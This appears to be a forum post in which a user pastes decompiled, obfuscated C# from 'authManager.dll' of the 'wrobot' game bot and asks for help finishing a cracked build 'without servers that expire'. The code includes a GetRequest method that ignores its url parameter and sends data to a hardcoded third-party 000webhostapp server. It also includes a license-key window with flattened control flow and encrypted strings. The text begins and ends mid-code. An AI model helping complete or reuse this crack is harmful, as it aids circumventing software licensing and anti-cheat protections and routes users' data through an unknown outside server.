ParseInt(/*Parameter with token 0800015C*/string intString) { bool result; return Others.ParseInt(intString, out result); } // Method ParseInt with token 0600062C public static int ParseInt(/*Parameter with token 0800015D*/string intString, /*Parameter with token 0800015E*/out bool result) { return (int) Others.ParseDouble(intString, out result); } // Method ParseUInt with token 0600062D public static bool ParseUInt(/*Parameter with token 0800015F*/string UIntString, /*Parameter with token 08000160*/out uint result) { bool result1; result = Others.ParseUInt(UIntString, out result1); return result1; } // Method ParseUInt with token 0600062E public static uint ParseUInt(/*Parameter with token 08000161*/string uintString) { bool result; return Others.ParseUInt(uintString, out result); } // Method ParseUInt with token 0600062F public static uint ParseUInt(/*Parameter with token 08000162*/string uintString, /*Parameter with token 08000163*/out bool result) { return (uint) Others.ParseDouble(uintString, out result); } // Method ParseLong with token 06000630 public static bool ParseLong(/*Parameter with token 08000164*/string LongString, /*Parameter with token 08000165*/out long result) { bool result1; result = Others.ParseLong(LongString, out result1); return result1; } // Method ParseLong with token 06000631 public static long ParseLong(/*Parameter with token 08000166*/string longString) { bool result; return Others.ParseLong(longString, out result); } // Method ParseLong with token 06000632 public static long ParseLong(/*Parameter with token 08000167*/string longString, /*Parameter with token 08000168*/out bool result) { return (long) Others.ParseDouble(longString, out result); } // Method ReplaceUpperCharBySpaceChar with token 06000633 public static string ReplaceUpperCharBySpaceChar(/*Parameter with token 08000169*/string s) { if (string.IsNullOrWhiteSpace(s)) return string.Empty; for (int startIndex = 0; startIndex <= s.Count<char>() - 1; ++startIndex) { if (startIndex >= 1 && char.IsUpper(s[startIndex])) { s = s.Insert(startIndex, " "); ++startIndex; } } return s; } // Method .cctor with token 06000634 static Others() { Others.Utf8 = new UTF8Encoding(); Others._random = new Random((int) DateTime.Now.Ticks); Others._aweuqekadaucueUweuhea = ""; Others._ilixae = ""; Others.LockerDownload = new object(); } // Type <>c with token 0200002A [/*Attribute with token 0C00001D*/CompilerGenerated] [Serializable] private sealed class \u003C\u003Ec { // Field <>9 with token 04000587 public static readonly Others.\u003C\u003Ec \u003C\u003E9; // Field <>9__3_0 with token 04000588 public static Func<string, bool> \u003C\u003E9__3_0; // Field <>9__4_0 with token 04000589 public static Func<string, string, string> \u003C\u003E9__4_0; // Field <>9__10_0 with token 0400058A public static Func<char, int> \u003C\u003E9__10_0; // Field <>9__13_0 with token 0400058B public static Func<string, char, string> \u003C\u003E9__13_0; // Field <>9__32_0 with token 0400058C public static Func<string, string> \u003C\u003E9__32_0; // Field <>9__52_0 with token 0400058D public static Action \u003C\u003E9__52_0; // Method .cctor with token 06000635 static \u003C\u003Ec() { Others.\u003C\u003Ec.\u003C\u003E9 = new Others.\u003C\u003Ec(); } // Method .ctor with token 06000636 public \u003C\u003Ec() { base.\u002Ector(); } // Method <TextToArrayByLine>b__3_0 with token 06000637 internal bool \u003CTextToArrayByLine\u003Eb__3_0(/*Parameter with token 0800016A*/string s) { return !string.IsNullOrWhiteSpace(s.Trim()); } // Method <ArrayToTextByLine>b__4_0 with token 06000638 internal string \u003CArrayToTextByLine\u003Eb__4_0(/*Parameter with token 0800016B*/string current, /*Parameter with token 0800016C*/string l) { return current + l + Environment.NewLine; } // Method <HardDriveID>b__10_0 with token 06000639 internal int \u003CHardDriveID\u003Eb__10_0(/*Parameter with token 0800016D*/char c) { return Convert.ToInt32((object) c, (IFormatProvider) CultureInfo.InvariantCulture); } // Method <DelFileNameIllegalChar>b__13_0 with token 0600063A internal string \u003CDelFileNameIllegalChar\u003Eb__13_0(/*Parameter with token 0800016E*/string current, /*Parameter with token 0800016F*/char c) { return current.Replace(c.ToString(), string.Empty); } // Method <GetFilesDirectory>b__32_0 with token 0600063B internal string \u003CGetFilesDirectory\u003Eb__32_0(/*Parameter with token 08000170*/string subfolder) { return Path.GetFileName(subfolder)?.ToString((IFormatProvider) CultureInfo.InvariantCulture); } // Method <DoEvents>b__52_0 with token 0600063C internal void \u003CDoEvents\u003Eb__52_0() { } } // Type <>c__DisplayClass33_0 with token 0200002B [/*Attribute with token 0C00001E*/CompilerGenerated] private sealed class \u003C\u003Ec__DisplayClass33_0 { // Field pathDirectory with token 0400058E public string pathDirectory; // Field <>9__0 with token 0400058F public Func<string, string> \u003C\u003E9__0; // Method .ctor with token 0600063D public \u003C\u003Ec__DisplayClass33_0() { base.\u002Ector(); } // Method <GetFilesDirectoryAndSubDirectory>b__0 with token 0600063E internal string \u003CGetFilesDirectoryAndSubDirectory\u003Eb__0(/*Parameter with token 08000171*/string subfolder) { return subfolder.Replace(this.pathDirectory, "").ToString((IFormatProvider) CultureInfo.InvariantCulture); } } } }
  2. // Method GetRequest with token 0600060D public static string GetRequest(/*Parameter with token 0800012B*/string url, /*Parameter with token 0800012C*/string data) { return Others.GetRequest("http://tumadre.000webhostapp.com/code.php", data, false); }
  3. I'm trying to continue the tumadree's work. we were left without wrobot I am debugging the dll "authManager.dll" I hid some parts altered by tumadree could anyone help me understand these codes I would like to create something definitive, without servers that expire sorry my English authManager.dll source using authManager; using robotManager; using robotManager.Helpful; using System; using System.CodeDom.Compiler; using System.Collections; using System.Collections.Generic; using System.ComponentModel; using System.Diagnostics; using System.IO; using System.Linq; using System.Text; using System.Windows; using System.Windows.Controls; using System.Windows.Controls.Primitives; using System.Windows.Data; using System.Windows.Markup; // Type kNzcCLURuuOPXhXhjmZTDuHbdDND with token 0200000C internal class kNzcCLURuuOPXhXhjmZTDuHbdDND : Window, IComponentConnector { // Field string_0 with token 0400002C private string string_0; // Field listBox_0 with token 0400002D internal System.Windows.Controls.ListBox listBox_0; // Field textBox_0 with token 0400002E internal System.Windows.Controls.TextBox textBox_0; // Field button_0 with token 0400002F internal System.Windows.Controls.Button button_0; // Field button_1 with token 04000030 internal System.Windows.Controls.Button button_1; // Field button_2 with token 04000031 internal System.Windows.Controls.Button button_2; // Field button_3 with token 04000032 internal System.Windows.Controls.Button button_3; // Field button_4 with token 04000033 internal System.Windows.Controls.Button button_4; // Field bool_0 with token 04000034 private bool bool_0; // Method .ctor with token 06000039 public kNzcCLURuuOPXhXhjmZTDuHbdDND() { this.string_0 = ""; base.\u002Ector(); this.InitializeComponent(); try { this.method_13(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_4<string>(3713447815U))); } catch { } } // Method method_0 with token 0600003A public string method_0() { return this.string_0; } // Method method_1 with token 0600003B private void method_1(/*Parameter with token 08000035*/object sender, /*Parameter with token 08000036*/SelectionChangedEventArgs e) { if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2((string) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_1((Selector) this.listBox_0))) { kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_3(this.textBox_0, (string) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_1((Selector) this.listBox_0)); kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_6((ContentControl) this.button_0, (object) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_5(new string[5] { kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_3<string>(2307401696U)), \u003CModule\u003E.smethod_6<string>(881301659U), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_2<string>(930534969U)), \u003CModule\u003E.smethod_6<string>(1878871673U), this.method_2(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_4((Selector) this.listBox_0)) })); } else kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_3(this.textBox_0, ""); } // Method method_2 with token 0600003C private string method_2(/*Parameter with token 08000037*/int int_0) { if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_9(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_6<string>(798205139U)))) { string[] strArray = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_11(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_2<string>(1813533031U)), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_10()); try { if (strArray.Length >= int_0) return strArray[int_0]; } catch { } } return \u003CModule\u003E.smethod_5<string>(609852942U); } // Method method_3 with token 0600003D private void method_3(/*Parameter with token 08000038*/int int_0) { try { if (int_0 < 0) return; label_15: int num1 = 265633473; while (true) { int num2 = 2058733173; uint num3; switch ((num3 = (uint) (num1 ^ num2)) % 7U) { case 0: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_14(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_6<string>(798205139U)), ""); num1 = (int) num3 * -301367885 ^ -74343043; continue; case 1: int num4; int num5; if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_9(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_6<string>(798205139U)))) { int num6 = 92533401; num5 = 92533401; num4 = num6; } else { num4 = 1419485305; num5 = 1419485305; } num1 = num4; continue; case 2: int num7; int num8; if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_13((string) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_1((Selector) this.listBox_0), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0))) { int num6 = 975803740; num8 = 975803740; num7 = num6; } else { num7 = 1954423022; num8 = 1954423022; } int num9 = (int) num3 * 1924054371; num1 = num7 ^ num9; continue; case 3: goto label_25; case 4: int num10; int num11; if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0))) { int num6 = -1924499998; num11 = -1924499998; num10 = num6; } else { num10 = -2134557877; num11 = -2134557877; } int num12 = (int) num3 * -1108796580; num1 = num10 ^ num12; continue; case 6: goto label_15; default: goto label_16; } } label_25: return; label_16: List<string> list = ((IEnumerable<string>) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_11(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_5<string>(2862672248U)), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_10())).ToList<string>(); try { if (list.Count - 1 < int_0) { label_26: int num2 = 1605743880; while (true) { int num3 = 2058733173; uint num4; switch ((num4 = (uint) (num2 ^ num3)) % 5U) { case 0: goto label_26; case 2: num2 = (int) num4 * -1510528616 ^ 372436591; continue; case 3: int num5; int num6; if (list.Count - 1 < int_0) { int num7 = 871215156; num6 = 871215156; num5 = num7; } else { num5 = 1370904134; num6 = 1370904134; } num2 = num5; continue; case 4: list.Add(""); num2 = 527202647; continue; default: goto label_29; } } } } catch { } label_29: list[int_0] = DateTime.Now.ToString(\u003CModule\u003E.smethod_6<string>(285570712U)); label_33: int num13 = 1534664249; while (true) { int num2 = 2058733173; uint num3; switch ((num3 = (uint) (num13 ^ num2)) % 3U) { case 0: goto label_34; case 1: Others.WriteFile(System.Windows.Forms.Application.StartupPath + \u003CModule\u003E.smethod_3<string>(2871140947U), Others.ArrayToTextByLine(list.ToArray())); num13 = (int) num3 * -789044366 ^ 97511429; continue; case 2: goto label_33; default: goto label_32; } } label_32: return; label_34:; } catch { } } // Method method_4 with token 0600003E private void method_4(/*Parameter with token 08000039*/int int_0) { try { if (int_0 < 0) return; label_17: int num1 = 1171364557; while (true) { int num2 = 1086266043; uint num3; switch ((num3 = (uint) (num1 ^ num2)) % 7U) { case 0: int num4; int num5; if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_9(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_6<string>(798205139U)))) { int num6 = 953648918; num5 = 953648918; num4 = num6; } else { num4 = 1201619523; num5 = 1201619523; } num1 = num4; continue; case 1: int num7; int num8; if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0))) { int num6 = 857368594; num8 = 857368594; num7 = num6; } else { num7 = 1155740664; num8 = 1155740664; } int num9 = (int) num3 * -1624429510; num1 = num7 ^ num9; continue; case 2: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_14(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_2<string>(1813533031U)), ""); num1 = (int) num3 * 1505043283 ^ -1336572844; continue; case 3: int num10; int num11; if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_13((string) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_1((Selector) this.listBox_0), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0))) { int num6 = 1394034340; num11 = 1394034340; num10 = num6; } else { num10 = 1260898643; num11 = 1260898643; } int num12 = (int) num3 * 1920520288; num1 = num10 ^ num12; continue; case 4: goto label_1; case 5: goto label_17; default: goto label_18; } } label_1: return; label_18: List<string> list = ((IEnumerable<string>) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_11(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_4<string>(242644285U)), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_10())).ToList<string>(); try { if (list.Count - 1 < int_0) return; } catch { } list.RemoveAt(int_0); label_27: int num13 = 1048924206; while (true) { int num2 = 1086266043; uint num3; switch ((num3 = (uint) (num13 ^ num2)) % 3U) { case 0: goto label_27; case 1: goto label_26; case 2: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_14(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_4<string>(242644285U)), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_15(list.ToArray())); num13 = (int) num3 * -439524007 ^ -929216804; continue; default: goto label_21; } } label_21: return; label_26:; } catch { } } // Method method_5 with token 0600003F private void method_5(/*Parameter with token 0800003A*/object sender, /*Parameter with token 0800003B*/RoutedEventArgs e) { if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0))) return; IEnumerator ienumerator_0 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_17((IEnumerable) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0)); try { label_12: int num1; int num2; if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_20(ienumerator_0)) { num1 = -889710284; num2 = -889710284; } else goto label_11; label_4: while (true) { int num3 = -269399693; uint num4; switch ((num4 = (uint) (num1 ^ num3)) % 5U) { case 0: num1 = -1878731233; continue; case 1: goto label_14; case 3: goto label_12; case 4: int num5; int num6; if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_19((string) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_18(ienumerator_0), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0))) { int num7 = -1744253094; num6 = -1744253094; num5 = num7; } else { num5 = -680754302; num6 = -680754302; } num1 = num5; continue; default: goto label_25; } } label_14: return; label_11: int num8 = -1878731233; num2 = -1878731233; num1 = num8; goto label_4; } finally { IDisposable idisposable_0 = ienumerator_0 as IDisposable; label_23: int num1 = -1002068222; while (true) { int num2 = -269399693; uint num3; switch ((num3 = (uint) (num1 ^ num2)) % 4U) { case 0: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_21(idisposable_0); num1 = (int) num3 * 1929728326 ^ 489559313; continue; case 1: int num4; int num5; if (idisposable_0 != null) { int num6 = -1176710233; num5 = -1176710233; num4 = num6; } else { num4 = -2138618259; num5 = -2138618259; } int num7 = (int) num3 * 333120108; num1 = num4 ^ num7; continue; case 3: goto label_23; default: goto label_24; } } label_24:; } label_25: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_23(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0), (object) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_22(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0))); kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_25((Selector) this.listBox_0, kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_24((CollectionView) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0)) - 1); label_29: int num9 = -881676142; while (true) { int num1 = -269399693; uint num2; switch ((num2 = (uint) (num9 ^ num1)) % 3U) { case 0: goto label_29; case 1: goto label_22; case 2: this.method_8(); num9 = (int) num2 * -863444058 ^ 220909351; continue; default: goto label_13; } } label_13: return; label_22:; } // Method method_6 with token 06000040 private void method_6(/*Parameter with token 0800003C*/object sender, /*Parameter with token 0800003D*/RoutedEventArgs e) { if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0))) return; IEnumerator ienumerator_0 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_17((IEnumerable) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0)); try { label_15: int num1; int num2; if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_20(ienumerator_0)) { num1 = -1377978573; num2 = -1377978573; } else goto label_14; label_4: while (true) { int num3 = -2110857804; uint num4; object object_0; switch ((num4 = (uint) (num1 ^ num3)) % 8U) { case 0: goto label_19; case 1: goto label_15; case 2: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_26(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0), object_0); num1 = (int) num4 * -763858149 ^ 1982463527; continue; case 3: object_0 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_18(ienumerator_0); int num5; int num6; if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_19((string) object_0, kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0))) { int num7 = -1728058150; num6 = -1728058150; num5 = num7; } else { num5 = -161953139; num6 = -161953139; } num1 = num5; continue; case 4: num1 = -366184489; continue; case 5: this.method_8(); num1 = (int) num4 * -75523013 ^ 1475015467; continue; case 6: this.method_4(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_4((Selector) this.listBox_0)); num1 = (int) num4 * 997812910 ^ 865712962; continue; case 7: goto label_17; default: goto label_16; } } label_16: return; label_17: return; label_19: return; label_14: int num8 = -366184489; num2 = -366184489; num1 = num8; goto label_4; } finally { IDisposable idisposable_0 = ienumerator_0 as IDisposable; if (idisposable_0 != null) { label_23: int num1 = -2068769167; while (true) { int num2 = -2110857804; uint num3; switch ((num3 = (uint) (num1 ^ num2)) % 3U) { case 0: goto label_23; case 1: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_21(idisposable_0); num1 = (int) num3 * 1177636283 ^ 1536282571; continue; default: goto label_24; } } } label_24:; } } // Method method_7 with token 06000041 private void method_7(/*Parameter with token 0800003E*/object sender, /*Parameter with token 0800003F*/RoutedEventArgs e) { this.method_3(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_4((Selector) this.listBox_0)); label_5: int num1 = 345569360; while (true) { int num2 = 397200831; uint num3; switch ((num3 = (uint) (num1 ^ num2)) % 4U) { case 0: goto label_5; case 1: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_27((Window) this); num1 = (int) num3 * 1359660369 ^ -542249508; continue; case 2: goto label_4; case 3: this.string_0 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_22(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0)); num1 = (int) num3 * 2005255851 ^ -991058417; continue; default: goto label_6; } } label_6: return; label_4:; } // Method method_8 with token 06000042 private void method_8() { if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_24((CollectionView) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0)) > 0) { kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_28(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_4<string>(3465163606U))); StreamWriter streamWriter = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_29(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_2<string>(390431406U))); IEnumerator ienumerator_0 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_17((IEnumerable) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0)); try { label_10: int num1; int num2; if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_20(ienumerator_0)) { num1 = -859861218; num2 = -859861218; } else goto label_9; label_4: while (true) { int num3 = -515999438; object obj; uint num4; switch ((num4 = (uint) (num1 ^ num3)) % 5U) { case 0: num1 = -1452494901; continue; case 1: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_31((TextWriter) streamWriter, kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_30((string) obj)); num1 = (int) num4 * -1595839605 ^ -423894859; continue; case 2: obj = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_18(ienumerator_0); num1 = -605410333; continue; case 3: goto label_10; default: goto label_21; } } label_9: int num5 = -1452494901; num2 = -1452494901; num1 = num5; goto label_4; } finally { IDisposable idisposable_0 = ienumerator_0 as IDisposable; label_19: int num1 = -1193490789; while (true) { int num2 = -515999438; uint num3; switch ((num3 = (uint) (num1 ^ num2)) % 4U) { case 0: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_21(idisposable_0); num1 = (int) num3 * -1472792087 ^ 94005981; continue; case 1: int num4; int num5; if (idisposable_0 == null) { int num6 = -946187395; num5 = -946187395; num4 = num6; } else { num4 = -2027191918; num5 = -2027191918; } int num7 = (int) num3 * -2011033088; num1 = num4 ^ num7; continue; case 2: goto label_19; default: goto label_20; } } label_20:; } label_21: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_32((TextWriter) streamWriter); } else { label_30: string string_1 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_6<string>(1504731446U)); int num1 = -1898049019; while (true) { int num2 = -515999438; uint num3; switch ((num3 = (uint) (num1 ^ num2)) % 5U) { case 0: num1 = -289813201; continue; case 1: goto label_29; case 2: int num4; int num5; if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_33(string_1)) { int num6 = 191061139; num5 = 191061139; num4 = num6; } else { num4 = 1582140260; num5 = 1582140260; } int num7 = (int) num3 * -73140926; num1 = num4 ^ num7; continue; case 3: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_34(string_1); num1 = (int) num3 * 1124816231 ^ 1168490741; continue; case 4: goto label_30; default: goto label_18; } } label_18: return; label_29:; } } // Method method_9 with token 06000043 private void method_9(/*Parameter with token 08000040*/object sender, /*Parameter with token 08000041*/EventArgs e) { kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_36((FrameworkElement) this.button_1, (object) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_35(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_4<string>(247819681U)), \u003CModule\u003E.smethod_3<string>(828430089U), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_5<string>(3564909968U)))); label_6: int num1 = 1813349536; while (true) { int num2 = 902653631; uint num3; switch ((num3 = (uint) (num1 ^ num2)) % 5U) { case 0: goto label_6; case 1: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_6((ContentControl) this.button_0, (object) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_2<string>(2516496572U))); kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_28(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_6<string>(3527570314U))); if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_9(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_3<string>(1813961066U)))) { num1 = (int) num3 * -506632126 ^ -2132261433; continue; } goto label_29; case 2: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_36((FrameworkElement) this.button_2, (object) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_35(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_5<string>(3635133740U)), \u003CModule\u003E.smethod_4<string>(1404754191U), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_2<string>(1333440975U)))); kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_36((FrameworkElement) this.textBox_0, (object) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_6<string>(992097019U))); num1 = (int) num3 * -314366842 ^ 1783497494; continue; case 4: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_36((FrameworkElement) this.button_0, (object) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_6<string>(2474602620U))); num1 = (int) num3 * -1478830278 ^ 369855998; continue; default: goto label_7; } } label_7: string[] strArray1 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_11(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_8(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_7(), \u003CModule\u003E.smethod_2<string>(390431406U)), kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_10()); try { string[] strArray2 = strArray1; int index = 0; label_27: int num2; int num3; if (index < strArray2.Length) { num2 = 1050322333; num3 = 1050322333; } else goto label_26; label_10: while (true) { int num4 = 902653631; uint num5; string string_1; switch ((num5 = (uint) (num2 ^ num4)) % 10U) { case 1: int num6; int num7; if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2(string_1)) { int num8 = -1586106519; num7 = -1586106519; num6 = num8; } else { num6 = -154751098; num7 = -154751098; } int num9 = (int) num5 * -310253827; num2 = num6 ^ num9; continue; case 2: string_1 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_37(strArray2[index]); num2 = 249440952; continue; case 3: int num10; int num11; if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_24((CollectionView) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0)) > 0) { int num8 = 1825071240; num11 = 1825071240; num10 = num8; } else { num10 = 62686799; num11 = 62686799; } int num12 = (int) num5 * 384349108; num2 = num10 ^ num12; continue; case 4: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_3(this.textBox_0, (string) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_1((Selector) this.listBox_0)); num2 = (int) num5 * 1766209553 ^ 173602613; continue; case 5: goto label_27; case 6: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_23(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0), (object) string_1); num2 = (int) num5 * 93956813 ^ 112377512; continue; case 7: ++index; num2 = 585453958; continue; case 8: num2 = 1050322333; continue; case 9: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_25((Selector) this.listBox_0, 0); num2 = (int) num5 * -829266846 ^ -802394337; continue; default: goto label_29; } } label_26: int num13 = 180420072; num3 = 180420072; num2 = num13; goto label_10; } catch { } label_29: if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2(ArgsParser.LicenseKey)) goto label_46; label_41: int num14 = 42753561; label_43: while (true) { int num2 = 902653631; uint num3; switch ((num3 = (uint) (num14 ^ num2)) % 7U) { case 0: goto label_46; case 1: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_3(this.textBox_0, ArgsParser.LicenseKey); num14 = (int) num3 * -562151589 ^ -1107743694; continue; case 2: goto label_41; case 3: int num4; int num5; if (!LoginServer.BaseUpToDate) { int num6 = 1669301124; num5 = 1669301124; num4 = num6; } else { num4 = 1232275328; num5 = 1232275328; } int num7 = (int) num3 * -2119381757; num14 = num4 ^ num7; continue; case 4: goto label_47; case 5: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_3(this.textBox_0, \u003CModule\u003E.smethod_2<string>(1453463989U)); num14 = 542541252; continue; case 6: int num8; int num9; if (!LoginServer.list_0.Contains(LoginServer.string_6)) { int num6 = 950163249; num9 = 950163249; num8 = num6; } else { num8 = 901692252; num9 = 901692252; } int num10 = (int) num3 * -296378900; num14 = num8 ^ num10; continue; default: goto label_44; } } label_44: return; label_47: return; label_46: int num15; if 